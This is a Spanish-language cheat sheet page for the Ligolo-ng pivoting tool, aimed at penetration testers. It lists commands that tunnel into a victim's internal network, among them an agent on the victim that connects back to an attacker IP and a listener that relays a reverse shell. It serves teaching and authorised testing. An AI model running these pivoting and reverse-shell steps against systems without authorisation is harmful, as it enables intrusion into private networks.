Ligolo-ng

Ligolo-ng crea una interfaz de red en tu máquina y enruta por ella el tráfico hacia la red interna. Funcionan nmap (también UDP y ping), navegador y cualquier herramienta tal cual, a diferencia de un proxy SOCKS.

Plataforma
Linux · Windows · macOS (Go)
Web oficial
github.com/nicocha30/ligolo-ng
Instalación
# Descarga proxy (tu máquina) y agent (víctima) de https://github.com/nicocha30/ligolo-ng/releases

Chuleta de Ligolo-ng

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.
8 comandos

Versiones recientes (0.6 o superior)

Crear la interfaz y la ruta desde la consola del proxy Atacante
interface_create --name ligolo
route_add --name ligolo --route 172.16.1.0/24
tunnel_start --tun ligolo
Llegar a los puertos locales de la víctima (127.0.0.1) Atacante
sudo ip route add 240.0.0.1/32 dev ligolo

La IP especial 240.0.0.1 apunta al localhost del agente.

Recibir una reverse shell de la red interna Atacante
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp

En nuestras chuletas

Port forwarding y pivoting › ligolo-ng

Crear la interfaz en tu máquina Atacante
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
Proxy en tu máquina Atacante
./proxy -selfcert
Agente en la víctima Víctima
./agent -connect 10.10.14.5:11601 -ignore-cert
En la consola de ligolo (elige la sesión y arranca) Atacante
session
start
Ruta a la red interna Atacante
sudo ip route add 172.16.1.0/24 dev ligolo

Cambia 172.16.1.0/24 por la red interna; la calculadora de subredes te ayuda a sacarla.

Guías que usan Ligolo-ng